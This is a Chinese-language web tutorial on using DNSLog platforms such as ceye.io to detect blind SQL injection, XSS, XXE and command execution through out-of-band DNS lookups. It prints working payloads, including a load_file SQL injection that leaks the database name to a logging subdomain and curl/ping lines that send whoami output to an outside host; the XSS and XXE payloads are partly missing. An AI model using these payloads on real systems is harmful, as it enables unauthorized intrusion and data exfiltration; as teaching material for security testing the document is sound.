怎么合理利用DNSLOG进行无回显安全测试

发布时间 - 2023-05-25 00:00:00    点击率:

在实际测试一些网站的安全性问题的时候,有些测试命令执行后是无回显的,我们可以写脚本来进行盲注,但有些网站会封禁掉我们的ip地址,这样我们可以通过设置ip代理池解决,但是遇到盲注往往效率很低,所以产生了dnslog注入。

在使用dnslog之前我们需要先了解一下反引号符号:
符号:`
名称:反引号,上分隔符
位置:反引号,这个字符一般在键盘的左上角,数字1的左边,不要将其同单引号混淆
作用:反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。

DNSlog回显测试如下:
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
这样说原理很抽象,下面通过实际例子看下。
http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来。

0x01SQL盲注
就以sql盲注为例。深入理解下DNSlog注入过程:
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

在mysql命令行执行:select load_file('\\afanti.xxxx.ceye.io\aaa');其中afanti就是要注入的查询语句
查看平台,dnsLog被记录下来。

load_file()函数可以通过dns解析请求。
以sql-labs第五关:
payload:' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc'))),1,0)-- -+
执行的sql语句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc'))),1,0)
查看dnslog日志,发现security数据库被查询出来:

0x02 XSS(无回显)
通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:
payload:>让src请求我们的dnslog平台

0x03 ×××F(无回显)
payload:



%remote;]>

0x04命令执行(无回显)
当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。
Linux
curl http://haha.xxx.ceye.io/`whoami
ping
whoami`.xxxx.ceye.io

Windows
ping %USERNAME%.xxx.ceye.io


# sql  # mysql  # xss  # NULL  # if  # select  # xml  # 字符串  # 递归  # database  # 数据库  # http  # 命令行  # 我们可以  # 就可以  # 自己的  # 盲打  # 放在  # 给你  # 就能  # 会在 


相关栏目: 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571


相关推荐: laravel怎么通过契约(Contracts)编程_laravel契约(Contracts)编程方法  Laravel怎么配置不同环境的数据库_Laravel本地测试与生产环境动态切换【方法】  如何用免费手机建站系统零基础打造专业网站?  重庆市网站制作公司,重庆招聘网站哪个好?  C++时间戳转换成日期时间的步骤和示例代码  香港服务器网站搭建教程-电商部署、配置优化与安全稳定指南  Laravel Sail是什么_基于Docker的Laravel本地开发环境Sail入门  如何用已有域名快速搭建网站?  Laravel怎么在Blade中安全地输出原始HTML内容  Laravel如何使用模型观察者?(Observer代码示例)  大学网站设计制作软件有哪些,如何将网站制作成自己app?  详解jQuery中基本的动画方法  Laravel如何使用Socialite实现第三方登录?(微信/GitHub示例)  JavaScript Ajax实现异步通信  Laravel如何使用Guzzle调用外部接口_Laravel发起HTTP请求与JSON数据解析【详解】  Laravel如何使用Scope本地作用域_Laravel模型常用查询逻辑封装技巧【手册】  Laravel如何配置Horizon来管理队列?(安装和使用)  如何快速搭建虚拟主机网站?新手必看指南  如何用美橙互联一键搭建多站合一网站?  如何用西部建站助手快速创建专业网站?  如何在橙子建站上传落地页?操作指南详解  奇安信“盘古石”团队突破 iOS 26.1 提权  LinuxCD持续部署教程_自动发布与回滚机制  jQuery validate插件功能与用法详解  如何在阿里云虚拟主机上快速搭建个人网站?  EditPlus中的正则表达式实战(5)  Laravel如何使用withoutEvents方法临时禁用模型事件  深圳网站制作平台,深圳市做网站好的公司有哪些?  香港服务器租用费用高吗?如何避免常见误区?  如何在万网自助建站平台快速创建网站?  Laravel的辅助函数有哪些_Laravel常用Helpers函数提高开发效率  Laravel如何创建自定义中间件?(Middleware代码示例)  如何做网站制作流程,*游戏网站怎么搭建?  如何有效防御Web建站篡改攻击?  如何快速搭建高效简练网站?  Android okhttputils现在进度显示实例代码  佛山网站制作系统,佛山企业变更地址网上办理步骤?  如何用PHP快速搭建CMS系统?  实例解析Array和String方法  Linux虚拟化技术教程_KVMQEMU虚拟机安装与调优  详解jQuery停止动画——stop()方法的使用  javascript读取文本节点方法小结  Win11搜索不到蓝牙耳机怎么办 Win11蓝牙驱动更新修复【详解】  如何快速搭建安全的FTP站点?  使用Dockerfile构建java web环境  PHP 实现电台节目表的智能时间匹配与今日/明日轮播逻辑  Laravel如何实现多语言支持_Laravel本地化与国际化(i18n)配置教程  Laravel怎么做数据加密_Laravel内置Crypt门面的加密与解密功能  python中快速进行多个字符替换的方法小结  北京的网站制作公司有哪些,哪个视频网站最好?